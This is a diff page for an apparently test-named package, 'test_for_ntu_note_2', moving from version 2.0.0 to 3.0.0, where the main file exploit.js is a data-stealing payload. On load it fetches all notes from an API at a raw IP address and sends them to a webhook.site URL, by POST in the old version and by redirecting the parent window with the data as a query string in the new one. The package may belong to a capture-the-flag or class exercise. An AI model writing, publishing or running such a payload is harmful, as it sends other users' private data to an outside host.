test_for_ntu_note_2 2.0.0 → 3.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/exploit.js +4 -10
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -1,16 +1,10 @@
1
1
  function leakDataFromEndpoint() {
2
- fetch('http://140.112.29.205:10082/api/notes/all')
2
+ fetch('http://140.112.29.205:10082/api/notes/all')
3
3
  .then(response => response.json())
4
4
  .then(data => {
5
- fetch('https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd', {
6
- method: 'POST',
7
- body: JSON.stringify(data),
8
- headers: { 'Content-Type': 'application/json' }
9
- });
5
+ const queryParams = new URLSearchParams({data: JSON.stringify(data)}).toString();
6
+ window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?${queryParams}`;
10
7
  })
11
8
  .catch(error => console.error('Error:', error));
12
- }
13
-
14
- window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
15
-
9
+ }
16
10
  leakDataFromEndpoint();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "test_for_ntu_note_2",
3
- "version": "2.0.0",
3
+ "version": "3.0.0",
4
4
  "description": "test2",
5
5
  "main": "exploit.js",
6
6
  "scripts": {